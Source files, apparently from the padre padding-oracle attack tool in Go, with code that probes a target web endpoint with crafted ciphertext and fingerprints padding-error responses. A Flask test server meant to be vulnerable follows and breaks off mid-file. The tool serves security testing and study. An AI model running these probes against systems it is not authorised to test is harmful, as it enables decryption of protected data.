-------------------------------------------------------------------------------- /pkg/exploit/probes.go: -------------------------------------------------------------------------------- 1 | package exploit 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/glebarez/padre/pkg/client" 7 | ) 8 | 9 | // detect byte values that do not produce padding error 10 | // early-stop when maxCount of such bytes reached 11 | func (p *Padre) getErrorlessByteValues(chunk []byte, pos int, maxCount int) ([]byte, error) { 12 | // the context will be cancelled upon returning from function 13 | ctx, cancel := context.WithCancel(context.Background()) 14 | defer cancel() 15 | 16 | // container for bytes that do not produce padding error 17 | goodBytes := make([]byte, 0, maxCount) 18 | 19 | chanResult := make(chan *client.ProbeResult, 256) 20 | 21 | // do probing 22 | go p.Client.SendProbes(ctx, chunk, pos, chanResult) 23 | 24 | // process result 25 | for result := range chanResult { 26 | if result.Err != nil { 27 | return nil, result.Err 28 | } 29 | 30 | // test for padding error 31 | isErr, err := p.Matcher.IsPaddingError(result.Response) 32 | if err != nil { 33 | return nil, err 34 | } 35 | 36 | // collect the right bytes 37 | if !isErr { 38 | goodBytes = append(goodBytes, result.Byte) 39 | // early exit of maxCount reached 40 | if len(goodBytes) == maxCount { 41 | break 42 | } 43 | } 44 | } 45 | 46 | return goodBytes, nil 47 | } 48 | 49 | // test concrete chunk for padding oracle 50 | func (p *Padre) IsPaddingErrorInChunk(chunk []byte) (bool, error) { 51 | // send 52 | resp, err := p.Client.DoRequest(context.Background(), chunk) 53 | if err != nil { 54 | return false, err 55 | } 56 | 57 | // test for padding oracle 58 | return p.Matcher.IsPaddingError(resp) 59 | } 60 | -------------------------------------------------------------------------------- /pkg/exploit/util.go: -------------------------------------------------------------------------------- 1 | package exploit 2 | 3 | import "strings" 4 | 5 | // XORs 2 slices of bytes 6 | func xorSlices(s1 []byte, s2 []byte) []byte { 7 | if len(s1) != len(s2) { 8 | panic("lengths of slices not equal") 9 | } 10 | 11 | output := make([]byte, len(s1)) 12 | 13 | for i := 0; i < len(s1); i++ { 14 | output[i] = s1[i] ^ s2[i] 15 | } 16 | 17 | return output 18 | } 19 | 20 | func Pkcs7Pad(input string, blockLen int) string { 21 | padding := blockLen - len(input)%blockLen 22 | return input + strings.Repeat(string(byte(padding)), padding) 23 | } 24 | 25 | func newXORingStreamer(xorArg []byte, outChan chan byte) func(byte) { 26 | // position at last byte of xorArg slice 27 | pos := len(xorArg) - 1 28 | 29 | return func(input byte) { 30 | outChan <- (xorArg[pos] ^ input) 31 | pos-- 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /pkg/output/hackybar.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "strings" 7 | "sync" 8 | "time" 9 | 10 | "github.com/glebarez/padre/pkg/color" 11 | "github.com/glebarez/padre/pkg/encoder" 12 | ) 13 | 14 | // output refresh frequency (times/second) 15 | const updateFreq = 13 16 | 17 | // HackyBar is the dynamically changing bar in status line. 18 | // The bar reflects current state of output calculation. 19 | // Apart from currently calculated part of output, it also shows yet-unknown part as a random mix of ASCII characters. 20 | // This bar is designed to be fun and fast-changing. 21 | // It also shows HTTP-client performance in real-time, such as: total http requests sent, average RPS 22 | type HackyBar struct { 23 | // output info 24 | printer *Printer // printer to use 25 | outputData []byte // container for byte-output 26 | outputByteLen int // total number of bytes in output (before encoding) 27 | encoder encoder.Encoder // encoder for the byte-output 28 | Overflow bool // flag: terminal width overflowed, data was too wide 29 | 30 | // communications 31 | ChanOutput chan byte // delivering every byte of output via this channel 32 | ChanReq chan byte // to deliver indicator of yet-another http request made 33 | wg sync.WaitGroup // used to wait for gracefull exit after stop signal sent 34 | 35 | // RPS calculation 36 | start time.Time // the time of first request made, needed to properly calculate RPS 37 | requestsMade int // total requests made, needed to calculate RPS 38 | rps int // RPS 39 | 40 | // the output properties 41 | autoUpdateFreq time.Duration // interval at which the bar must be updated 42 | encryptMode bool // whether encrypt mode is used 43 | } 44 | 45 | func CreateHackyBar(encoder encoder.Encoder, outputByteLen int, encryptMode bool, printer *Printer) *HackyBar { 46 | return &HackyBar{ 47 | outputData: []byte{}, 48 | outputByteLen: outputByteLen, 49 | wg: sync.WaitGroup{}, 50 | ChanOutput: make(chan byte, 1), 51 | ChanReq: make(chan byte, 256), 52 | autoUpdateFreq: time.Second / time.Duration(updateFreq), 53 | encoder: encoder, 54 | encryptMode: encryptMode, 55 | printer: printer, 56 | } 57 | } 58 | 59 | // stops the bar 60 | func (p *HackyBar) Stop() { 61 | close(p.ChanOutput) 62 | p.wg.Wait() 63 | } 64 | 65 | // starts the bar 66 | func (p *HackyBar) Start() { 67 | go p.listenAndPrint() 68 | } 69 | 70 | /* designed to be run as goroutine. 71 | collects information about current progress and then prints the info in HackyBar */ 72 | func (p *HackyBar) listenAndPrint() { 73 | var ( 74 | // time since last print 75 | lastPrint time.Time 76 | 77 | // flag: output channel closed (no more data expected) 78 | outputChanClosed bool 79 | 80 | // counter for total output bytes received 81 | outputBytesReceived int 82 | ) 83 | 84 | p.wg.Add(1) 85 | defer p.wg.Done() 86 | 87 | /* listen for incoming events */ 88 | for { 89 | select { 90 | /* yet another output byte produced */ 91 | case b, ok := <-p.ChanOutput: 92 | if ok { 93 | p.outputData = append([]byte{b}, p.outputData...) //TODO: optimize this 94 | outputBytesReceived++ 95 | } else { 96 | outputChanClosed = true 97 | } 98 | 99 | /* yet another HTTP request was made. Update stats */ 100 | case <-p.ChanReq: 101 | if p.requestsMade == 0 { 102 | p.start = time.Now() 103 | } 104 | p.requestsMade++ 105 | 106 | secsPassed := int(time.Since(p.start).Seconds()) 107 | if secsPassed > 0 { 108 | p.rps = p.requestsMade / int(secsPassed) 109 | } 110 | 111 | } 112 | 113 | // the final status print 114 | if outputChanClosed || outputBytesReceived == p.outputByteLen { 115 | // avoid hacky mode 116 | // this is because stop can be requested when some error happened, 117 | // it that case we don't need to noise the unprocessed part of output with hacky string 118 | statusString := p.buildStatusString(false) 119 | p.printer.Println(statusString) 120 | return 121 | } 122 | 123 | // usual output (still in progress) 124 | if time.Since(lastPrint) > p.autoUpdateFreq { 125 | statusString := p.buildStatusString(true) 126 | p.printer.Printcr(statusString) 127 | lastPrint = time.Now() 128 | } 129 | } 130 | } 131 | 132 | /* constructs full status string to be displayed */ 133 | func (p *HackyBar) buildStatusString(hacky bool) string { 134 | /* the hacky-bar string is comprised of following parts |unknownOutput|knownOutput|stats| 135 | - unknown output is the part of output that is not yet calculated, it is represented as 'hacky' string 136 | - known output is the part of output that is already calculated, it is represented as output, encoded with *p.encoder 137 | - stats 138 | */ 139 | 140 | /* generate unknown output */ 141 | unprocessedLen := p.outputByteLen - len(p.outputData) 142 | if p.encryptMode { 143 | unprocessedLen = len(p.encoder.EncodeToString(make([]byte, unprocessedLen))) 144 | } 145 | unknownOutput := unknownString(unprocessedLen, hacky) 146 | 147 | /* generate known output */ 148 | knownOutput := p.encoder.EncodeToString(p.outputData) 149 | 150 | /* generate stats */ 151 | stats := fmt.Sprintf( 152 | "[%d/%d] | reqs: %d (%d/sec)", len(p.outputData), p.outputByteLen, p.requestsMade, p.rps) 153 | 154 | /* get available space */ 155 | availableSpace := p.printer.AvailableWidth - len(stats) - 1 // -1 is for the space between output and stats 156 | if availableSpace < 5 { 157 | // a general fool-check 158 | panic("Your terminal is to narrow. Use a real one") 159 | } 160 | 161 | /* if we have enough space, the logic is simple */ 162 | if availableSpace >= len(unknownOutput)+len(knownOutput) { 163 | output := unknownOutput + color.HiGreenBold(knownOutput) 164 | 165 | // pad with spaces to make stats always appear at the right edge of the screen 166 | output += strings.Repeat(" ", availableSpace-len(unknownOutput)-len(knownOutput)) 167 | return fmt.Sprintf("%s %s", output, stats) 168 | } 169 | 170 | /* if we made it to here, we need to cut the output to fit into the available space 171 | the main idea is to choose the split-point - the poisition at which unknown output ends and known output starts */ 172 | 173 | // at first, chose at 1/3 of available space 174 | splitPoint := availableSpace / 3 175 | 176 | // correct if knownOutput is too short yet 177 | if len(knownOutput) < availableSpace-splitPoint { 178 | splitPoint = availableSpace - len(knownOutput) 179 | } else if len(unknownOutput) < splitPoint { 180 | // correct if unknownOutput is too short 181 | splitPoint = len(unknownOutput) 182 | } 183 | 184 | // put ... into the end of knownOutput if it's too long 185 | if len(knownOutput) > availableSpace-splitPoint { 186 | knownOutput = knownOutput[:availableSpace-splitPoint-3] + `...` 187 | p.Overflow = true 188 | } 189 | 190 | outputString := unknownOutput[:splitPoint] + color.HiGreenBold(knownOutput) 191 | 192 | /* return the final string */ 193 | return fmt.Sprintf("%s %s", outputString, stats) 194 | } 195 | 196 | /* generates string that represents the yet-unknown portion of output 197 | when in 'hacky' mode, will produce random characters form ASCII printable range*/ 198 | func unknownString(n int, hacky bool) string { 199 | b := make([]byte, n) 200 | for i := range b { 201 | 202 | if hacky { 203 | b[i] = byte(rand.Intn(126-33) + 33) // byte from ASCII printable range 204 | } else { 205 | b[i] = '_' 206 | } 207 | } 208 | return string(b) 209 | } 210 | -------------------------------------------------------------------------------- /pkg/output/prefix.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "strings" 5 | 6 | "github.com/glebarez/padre/pkg/color" 7 | ) 8 | 9 | const ( 10 | space = ` ` 11 | ) 12 | 13 | // represents a current prefix 14 | // the prefix allows for contexted printing 15 | // the prefixes can be nested using outterPrefix attribute 16 | // the top-most prefix has outterPrefix equal to nil 17 | type prefix struct { 18 | prefix string // the prefix to be output 19 | indent string // indent to iutput on second+ lines of multiline outputs 20 | len int // length of prefix and indent 21 | lineFeeded bool // flag: line feeded (=true when first line was already output) 22 | outterPrefix *prefix // pointer to outter parent prefix 23 | paragraph bool // whether this prefix is paragraph 24 | } 25 | 26 | // renders prefix as string 27 | func (p *prefix) string() string { 28 | var s string 29 | 30 | // form own prefix as string 31 | if p.lineFeeded && p.paragraph { 32 | s = p.indent 33 | } else { 34 | s = p.prefix + space 35 | } 36 | 37 | // add outter prefix (if any) 38 | if p.outterPrefix == nil { 39 | return s 40 | } 41 | return p.outterPrefix.string() + s 42 | } 43 | 44 | // sets lineFeeded flag 45 | func (p *prefix) setLF() { 46 | p.lineFeeded = true 47 | if p.outterPrefix != nil { 48 | p.outterPrefix.setLF() 49 | } 50 | } 51 | 52 | // creates new prefix from string 53 | func newPrefix(s string, outter *prefix, paragraph bool) *prefix { 54 | spaceTaken := color.TrueLen(s) + 1 // prefix + space 55 | return &prefix{ 56 | prefix: s, 57 | indent: strings.Repeat(space, spaceTaken), 58 | len: spaceTaken, 59 | outterPrefix: outter, 60 | paragraph: paragraph, 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /pkg/output/printer.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | 7 | "github.com/glebarez/padre/pkg/color" 8 | ) 9 | 10 | // some often used strings 11 | const ( 12 | _LF = "\n" // LF Line feed 13 | _CR = "\x1b\x5b2K\r" // Clear Line + CR Carret return 14 | ) 15 | 16 | // Printer is the printing facility 17 | type Printer struct { 18 | Stream io.Writer // the ultimate stream to print into 19 | AvailableWidth int // available terminal width 20 | cr bool // flag: caret return requested on next print (= print on same line please) 21 | prefix *prefix // current prefix to use 22 | } 23 | 24 | // base internal print, everyone else must build upon this 25 | func (p *Printer) print(s string) { 26 | fmt.Fprint(p.Stream, s) 27 | } 28 | 29 | func (p *Printer) Print(s string) { 30 | // CR debt ? 31 | if p.cr { 32 | p.print(_CR) 33 | p.cr = false 34 | } 35 | 36 | // prefix 37 | if p.prefix != nil { 38 | p.print(p.prefix.string()) 39 | } 40 | 41 | // print the contents 42 | p.print(s) 43 | } 44 | 45 | // AddPrefix adds one more prefix to current printer 46 | func (p *Printer) AddPrefix(s string, paragraph bool) { 47 | p.prefix = newPrefix(s, p.prefix, paragraph) 48 | p.AvailableWidth -= p.prefix.len 49 | } 50 | 51 | func (p *Printer) RemovePrefix() { 52 | p.AvailableWidth += p.prefix.len 53 | p.prefix = p.prefix.outterPrefix 54 | } 55 | 56 | func (p *Printer) Println(s string) { 57 | p.Print(s) 58 | p.print(_LF) 59 | 60 | // set flag that line was feeded 61 | if p.prefix != nil { 62 | p.prefix.setLF() 63 | } 64 | } 65 | 66 | func (p *Printer) Printcr(s string) { 67 | p.Print(s) 68 | p.cr = true 69 | } 70 | 71 | func (p *Printer) Printf(format string, a ...interface{}) { 72 | p.Print(fmt.Sprintf(format, a...)) 73 | } 74 | 75 | func (p *Printer) Printlnf(format string, a ...interface{}) { 76 | p.Println(fmt.Sprintf(format, a...)) 77 | } 78 | 79 | func (p *Printer) Printcrf(format string, a ...interface{}) { 80 | p.Printcr(fmt.Sprintf(format, a...)) 81 | p.cr = true 82 | } 83 | 84 | func (p *Printer) PrintWithPrefix(prefix, message string) { 85 | p.AddPrefix(prefix, false) 86 | p.Println(message) 87 | p.RemovePrefix() 88 | } 89 | 90 | func (p *Printer) Error(err error) { 91 | p.PrintWithPrefix(color.RedBold("[-]"), color.Red(err)) 92 | } 93 | 94 | func (p *Printer) Errorf(format string, a ...interface{}) { 95 | p.Error(fmt.Errorf(format, a...)) 96 | } 97 | 98 | func (p *Printer) Hint(format string, a ...interface{}) { 99 | p.PrintWithPrefix(color.CyanBold("[hint]"), fmt.Sprintf(format, a...)) 100 | } 101 | 102 | func (p *Printer) Warning(format string, a ...interface{}) { 103 | p.PrintWithPrefix(color.YellowBold("[!]"), fmt.Sprintf(format, a...)) 104 | } 105 | 106 | func (p *Printer) Success(format string, a ...interface{}) { 107 | p.PrintWithPrefix(color.GreenBold("[+]"), fmt.Sprintf(format, a...)) 108 | } 109 | 110 | func (p *Printer) Info(format string, a ...interface{}) { 111 | p.PrintWithPrefix(color.CyanBold("[i]"), fmt.Sprintf(format, a...)) 112 | } 113 | 114 | func (p *Printer) Action(s string) { 115 | p.Printcr(color.Yellow(s)) 116 | } 117 | -------------------------------------------------------------------------------- /pkg/probe/confirm.go: -------------------------------------------------------------------------------- 1 | package probe 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/glebarez/padre/pkg/client" 7 | "github.com/glebarez/padre/pkg/util" 8 | ) 9 | 10 | // confirms existence of padding oracle 11 | // returns true if confirmed, false otherwise 12 | func ConfirmPaddingOracle(c *client.Client, matcher PaddingErrorMatcher, blockLen int) (bool, error) { 13 | // create random block of ciphertext (IV prepended) 14 | cipher := util.RandomSlice(blockLen * 2) 15 | 16 | // test last byte of IV 17 | pos := blockLen - 1 18 | 19 | // channel to soak results 20 | chanResult := make(chan *client.ProbeResult, 256) 21 | 22 | // send probes 23 | go c.SendProbes(context.Background(), cipher, pos, chanResult) 24 | 25 | // count padding errors 26 | count := 0 27 | for result := range chanResult { 28 | if result.Err != nil { 29 | return false, result.Err 30 | } 31 | isErr, err := matcher.IsPaddingError(result.Response) 32 | if err != nil { 33 | return false, err 34 | } 35 | 36 | if isErr { 37 | count++ 38 | } 39 | } 40 | 41 | // padding oracle must produce exactly 254 or 255 errors 42 | return count == 254 || count == 255, nil 43 | } 44 | -------------------------------------------------------------------------------- /pkg/probe/detect.go: -------------------------------------------------------------------------------- 1 | package probe 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/glebarez/padre/pkg/client" 7 | "github.com/glebarez/padre/pkg/util" 8 | ) 9 | 10 | // attempts to auto-detect padding oracle fingerprint 11 | func DetectPaddingErrorFingerprint(c *client.Client, blockLen int) (PaddingErrorMatcher, error) { 12 | // create random block of ciphertext (IV prepended) 13 | cipher := util.RandomSlice(blockLen * 2) 14 | 15 | // test last byte of IV 16 | pos := blockLen - 1 17 | 18 | // channel to soak results 19 | chanResult := make(chan *client.ProbeResult, 256) 20 | 21 | // fingerprint probes 22 | go c.SendProbes(context.Background(), cipher, pos, chanResult) 23 | 24 | // collect counts of fingerprints 25 | fpMap := map[ResponseFingerprint]int{} 26 | for result := range chanResult { 27 | if result.Err != nil { 28 | // error during probes 29 | return nil, result.Err 30 | } 31 | 32 | fp, err := GetResponseFingerprint(result.Response) 33 | if err != nil { 34 | // error during fingerprinting 35 | return nil, result.Err 36 | } 37 | 38 | fpMap[*fp]++ 39 | } 40 | 41 | // padding oracles respond with predictable count of unique fingerprints 42 | // following factors must be considered: 43 | // a. some padding implmementations 'incorrect' padding from 'errornous' padding 44 | // (e.g. if you pad cipher with block length of 16 with values grater than 16) 45 | 46 | // padre considers following fingerprint counts as indication of padding error 47 | patterns := [][]int{ 48 | {255, 1}, 49 | {254, 2}, 50 | {256 - blockLen, blockLen - 1, 1}, 51 | {256 - blockLen, blockLen - 2, 2}, 52 | } 53 | 54 | // check if any of count-patterns matches 55 | patternLoop: 56 | for _, pat := range patterns { 57 | fingerprints := make([]ResponseFingerprint, 0) 58 | 59 | for fp, count := range fpMap { 60 | if inSlice(pat, count) { 61 | // do not include fingerprint of non-error response (last position in pattern) 62 | if count != pat[len(pat)-1] { 63 | fingerprints = append(fingerprints, fp) 64 | } 65 | } else { 66 | continue patternLoop 67 | } 68 | } 69 | 70 | // if we made it to here, we found a padding oracle 71 | // return the matcher 72 | return &matcherByFingerprint{ 73 | fingerprints: fingerprints, 74 | }, nil 75 | } 76 | return nil, nil 77 | } 78 | 79 | func inSlice(slice []int, value int) bool { 80 | for _, i := range slice { 81 | if value == i { 82 | return true 83 | } 84 | } 85 | return false 86 | } 87 | -------------------------------------------------------------------------------- /pkg/probe/fingerprint.go: -------------------------------------------------------------------------------- 1 | package probe 2 | 3 | import ( 4 | "unicode" 5 | 6 | "github.com/glebarez/padre/pkg/client" 7 | ) 8 | 9 | // ResponseFingerprint ... 10 | type ResponseFingerprint struct { 11 | StatusCode int 12 | Lines int 13 | Words int 14 | } 15 | 16 | // GetResponseFingerprint - scrape fingerprint form http response 17 | func GetResponseFingerprint(resp *client.Response) (*ResponseFingerprint, error) { 18 | return &ResponseFingerprint{ 19 | StatusCode: resp.StatusCode, 20 | Lines: countLines(resp.Body), 21 | Words: countWords(resp.Body), 22 | }, nil 23 | } 24 | 25 | // helper: count number of lines in input 26 | func countLines(input []byte) int { 27 | if len(input) == 0 { 28 | return 0 29 | } 30 | count := 1 31 | for _, b := range input { 32 | if b == '\n' { 33 | count++ 34 | } 35 | } 36 | return count 37 | } 38 | 39 | // helper: count number of lines in input 40 | func countWords(input []byte) int { 41 | inWord, count := false, 0 42 | for _, r := range string(input) { 43 | if unicode.IsSpace(r) { 44 | inWord = false 45 | } else if !inWord { 46 | inWord = true 47 | count++ 48 | } 49 | } 50 | return count 51 | } 52 | -------------------------------------------------------------------------------- /pkg/probe/interface.go: -------------------------------------------------------------------------------- 1 | package probe 2 | 3 | import "github.com/glebarez/padre/pkg/client" 4 | 5 | // PaddingErrorMatcher - tests if HTTP response matches with padding error 6 | type PaddingErrorMatcher interface { 7 | IsPaddingError(*client.Response) (bool, error) 8 | } 9 | -------------------------------------------------------------------------------- /pkg/probe/matcher.go: -------------------------------------------------------------------------------- 1 | package probe 2 | 3 | import ( 4 | "regexp" 5 | 6 | "github.com/glebarez/padre/pkg/client" 7 | ) 8 | 9 | type matcherByFingerprint struct { 10 | fingerprints []ResponseFingerprint 11 | } 12 | 13 | func (m *matcherByFingerprint) IsPaddingError(resp *client.Response) (bool, error) { 14 | 15 | respFP, err := GetResponseFingerprint(resp) 16 | if err != nil { 17 | return false, err 18 | } 19 | 20 | for _, fp := range m.fingerprints { 21 | if fp == *respFP { 22 | return true, nil 23 | } 24 | } 25 | 26 | return false, nil 27 | } 28 | 29 | type matcherByRegexp struct { 30 | re *regexp.Regexp 31 | } 32 | 33 | func (m *matcherByRegexp) IsPaddingError(resp *client.Response) (bool, error) { 34 | return m.re.Match(resp.Body), nil 35 | } 36 | 37 | func NewMatcherByRegexp(r string) (PaddingErrorMatcher, error) { 38 | re, err := regexp.Compile(r) 39 | if err != nil { 40 | return nil, err 41 | } 42 | 43 | return &matcherByRegexp{re}, nil 44 | } 45 | -------------------------------------------------------------------------------- /pkg/util/http.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "errors" 5 | "net/http" 6 | "regexp" 7 | "strings" 8 | ) 9 | 10 | // ParseCookies parses cookies in raw string format into net/http format 11 | func ParseCookies(cookies string) (cookSlice []*http.Cookie, err error) { 12 | // initial string produces emtpty cookies 13 | if cookies == "" { 14 | return []*http.Cookie{}, nil 15 | } 16 | 17 | // strip quotes if any 18 | cookies = strings.Trim(cookies, `"'`) 19 | 20 | // split several cookies into slice 21 | cookieS := strings.Split(cookies, ";") 22 | 23 | for _, c := range cookieS { 24 | // strip whitespace 25 | c = strings.TrimSpace(c) 26 | 27 | // split to name and value 28 | nameVal := strings.SplitN(c, "=", 2) 29 | if len(nameVal) != 2 || strings.Contains(nameVal[1], "=") { 30 | return nil, errors.New("failed to parse cookie") 31 | } 32 | 33 | cookSlice = append(cookSlice, &http.Cookie{Name: nameVal[0], Value: nameVal[1]}) 34 | } 35 | return cookSlice, nil 36 | } 37 | 38 | // DetectContentType detects HTTP content type based on provided POST data 39 | func DetectContentType(data string) string { 40 | var contentType string 41 | 42 | if data[0] == '{' || data[0] == '[' { 43 | contentType = "application/json" 44 | } else { 45 | match, _ := regexp.MatchString("([^=]+=[^=]+&?)+", data) 46 | if match { 47 | contentType = "application/x-www-form-urlencoded" 48 | } else { 49 | contentType = http.DetectContentType([]byte(data)) 50 | } 51 | } 52 | return contentType 53 | } 54 | -------------------------------------------------------------------------------- /pkg/util/http_test.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "net/http" 5 | "reflect" 6 | "testing" 7 | ) 8 | 9 | func TestParseCookies(t *testing.T) { 10 | type args struct { 11 | cookies string 12 | } 13 | tests := []struct { 14 | name string 15 | args args 16 | wantCookSlice []*http.Cookie 17 | wantErr bool 18 | }{ 19 | {"empty", args{""}, []*http.Cookie{}, false}, 20 | {"normal", args{"key=val"}, []*http.Cookie{{Name: "key", Value: "val"}}, false}, 21 | {"errornous", args{"key=val=1"}, nil, true}, 22 | } 23 | for _, tt := range tests { 24 | t.Run(tt.name, func(t *testing.T) { 25 | gotCookSlice, err := ParseCookies(tt.args.cookies) 26 | if (err != nil) != tt.wantErr { 27 | t.Errorf("ParseCookies() error = %v, wantErr %v", err, tt.wantErr) 28 | return 29 | } 30 | if !reflect.DeepEqual(gotCookSlice, tt.wantCookSlice) { 31 | t.Errorf("ParseCookies() = %v, want %v", gotCookSlice, tt.wantCookSlice) 32 | } 33 | }) 34 | } 35 | } 36 | 37 | func TestDetectContentType(t *testing.T) { 38 | type args struct { 39 | data string 40 | } 41 | tests := []struct { 42 | name string 43 | args args 44 | want string 45 | }{ 46 | {"json-object", args{"{'a':1}"}, "application/json"}, 47 | {"json-array", args{"[{'a':1}]"}, "application/json"}, 48 | {"form", args{"a=1&b=2"}, "application/x-www-form-urlencoded"}, 49 | {"text", args{"text"}, http.DetectContentType([]byte("text"))}, 50 | } 51 | for _, tt := range tests { 52 | t.Run(tt.name, func(t *testing.T) { 53 | if got := DetectContentType(tt.args.data); got != tt.want { 54 | t.Errorf("DetectContentType() = %v, want %v", got, tt.want) 55 | } 56 | }) 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /pkg/util/random.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "bytes" 5 | "container/ring" 6 | "math/rand" 7 | ) 8 | 9 | // ring buffer for generating random chunks of bytes 10 | var randomRing *ring.Ring 11 | 12 | func init() { 13 | mysteriousData := []byte{ 14 | 0x67, 0x6c, 0x65, 0x62, 0x61, 0x72, 0x65, 0x7a, 15 | 0x66, 0x65, 0x72, 0x73, 0x69, 0x6e, 0x67, 0x62} 16 | 17 | randomRing = ring.New(len(mysteriousData)) 18 | for _, b := range mysteriousData { 19 | randomRing.Value = b 20 | randomRing = randomRing.Next() 21 | } 22 | 23 | } 24 | 25 | // RandomSlice generates random slice of bytes with specified length 26 | func RandomSlice(len int) []byte { 27 | buf := bytes.NewBuffer(make([]byte, 0, len)) 28 | 29 | for i := 0; i < len; i++ { 30 | buf.WriteByte(randomRing.Value.(byte)) 31 | 32 | // randomly move ring 33 | randomRing = randomRing.Move(rand.Intn(13)) 34 | } 35 | return buf.Bytes() 36 | } 37 | -------------------------------------------------------------------------------- /pkg/util/random_test.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | func TestRandomSlice(t *testing.T) { 10 | var randoms = make([][]byte, 0, 10) 11 | 12 | // generate some random slices 13 | for i := 0; i < 10; i++ { 14 | newRandom := RandomSlice(13) 15 | // check uniqness 16 | require.NotContains(t, randoms, newRandom) 17 | randoms = append(randoms, newRandom) 18 | } 19 | 20 | } 21 | -------------------------------------------------------------------------------- /pkg/util/strings.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import "strings" 4 | 5 | // ReverseString returns reverse of a string (does not support runes) 6 | func ReverseString(in string) string { 7 | out := strings.Builder{} 8 | for i := len(in) - 1; i >= 0; i-- { 9 | out.WriteByte(in[i]) 10 | } 11 | return out.String() 12 | } 13 | -------------------------------------------------------------------------------- /pkg/util/strings_test.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import "testing" 4 | 5 | func TestReverseString(t *testing.T) { 6 | type args struct { 7 | in string 8 | } 9 | tests := []struct { 10 | name string 11 | args args 12 | want string 13 | }{ 14 | {"normal", args{"1234"}, "4321"}, 15 | {"empty", args{""}, ""}, 16 | } 17 | for _, tt := range tests { 18 | t.Run(tt.name, func(t *testing.T) { 19 | if got := ReverseString(tt.args.in); got != tt.want { 20 | t.Errorf("ReverseString() = %v, want %v", got, tt.want) 21 | } 22 | }) 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /pkg/util/terminal.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/mattn/go-isatty" 7 | "github.com/nsf/termbox-go" 8 | ) 9 | 10 | // TerminalWidth determines width of current terminal in characters 11 | func TerminalWidth() (int, error) { 12 | if err := termbox.Init(); err != nil { 13 | return 0, err 14 | } 15 | w, _ := termbox.Size() 16 | termbox.Close() 17 | // decrease length by 1 for safety 18 | // windows CMD sometimes needs this 19 | return w - 1, nil 20 | } 21 | 22 | // IsTerminal checks whether file is a terminal 23 | func IsTerminal(file *os.File) bool { 24 | return isatty.IsTerminal(file.Fd()) || isatty.IsCygwinTerminal(file.Fd()) 25 | } 26 | -------------------------------------------------------------------------------- /test_server/.dockerignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | .pytest_cache/ 3 | htmlcov/ 4 | venv/ -------------------------------------------------------------------------------- /test_server/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | .pytest_cache/ 3 | htmlcov/ 4 | venv/ -------------------------------------------------------------------------------- /test_server/.python-version: -------------------------------------------------------------------------------- 1 | 3.9.2 2 | -------------------------------------------------------------------------------- /test_server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | WORKDIR /usr/src/app 4 | 5 | COPY requirements.txt ./ 6 | RUN pip install --no-cache-dir -r requirements.txt 7 | 8 | COPY . . 9 | EXPOSE 5000 10 | CMD [ "python", "./server.py" ] -------------------------------------------------------------------------------- /test_server/README.md: -------------------------------------------------------------------------------- 1 | ## Test server that is (on-demand) vulnerable to Padding Oracle 2 | Use for testing purposes. AES only by now 3 | 4 | ## Config 5 | Configuration is done via setting environment variables 6 | |Env. variable | if not set | if set | 7 | |---|---|---| 8 | |VULNERABLE|Server **is not** vulnerable to padding oracle|Server **is** vulnerable to padding oracle| 9 | |SECRET|AES key will be generated randomly|AES key will generated from the secret phrase. Use to achieve reproducible outputs between server runs| 10 | |USE_GEVENT|Use Flask's built-in Web server|Use gevent's Web server (faster) 11 | 12 | ## Run 13 | #### via Docker Compose 14 | ```console 15 | docker-compose up 16 | ``` 17 | #### via Docker 18 | ```console 19 | docker build -t pador_vuln_server . 20 | docker run -it -p 5000:5000 pador_vuln_server 21 | ``` 22 | #### directly 23 | ```console 24 | python server.py 25 | ``` 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /test_server/app.py: -------------------------------------------------------------------------------- 1 | import functools 2 | import hashlib 3 | import traceback 4 | 5 | from flask import Flask, make_response, request 6 | from werkzeug.exceptions import HTTPException 7 | 8 | import crypto 9 | import encoder 10 | from encoder import Encoding 11 | 12 | 13 | @functools.lru_cache() 14 | def AES_key(): 15 | secret = app.config.get("SECRET", "default-secret") 16 | return hashlib.md5(secret.encode()).digest() 17 | 18 | 19 | app = Flask(__name__) 20 | 21 | 22 | def get_encoding(request): 23 | # get encoding (defaults to Base64 if not specified) 24 | encoding = request.values.get("enc", None) 25 | if encoding is None: 26 | encoding = Encoding.B64.name 27 | else: 28 | encoding = encoding.upper() 29 | 30 | return encoding 31 | 32 | 33 | # encrypts the plaintext 34 | @app.route("/encrypt", methods=["GET", "POST"]) 35 | def route_encrypt(): 36 | # get plaintext to encrypt 37 | plain = request.values.get("plain", None) 38 | if plain is None: 39 | raise ValueError( 40 | "Pass data to encrypt using 'plain' parameter in URL or POST data" 41 | ) 42 | 43 | # encrypt the data (encoded to bytes) 44 | cipher = crypto.encrypt(plain.encode(), AES_key()) 45 | 46 | # get encoding 47 | encoding = get_encoding(request) 48 | 49 | # encode encrypted chunk 50 | encoded_cipher = encoder.encode(data=cipher, encoding=Encoding[encoding]) 51 | 52 | # answer 53 | return encoded_cipher, 200 54 | 55 | 56 | # decrypts the cipher 57 | @app.route("/decrypt", methods=["GET", "POST"]) 58 | def route_decrypt(): 59 | # get ciphertext 60 | encoded_cipher = request.values.get("cipher", None) 61 | if encoded_cipher is None: 62 | raise ValueError( 63 | "Pass encoded chipher to decrypt using 'cipher' parameter in 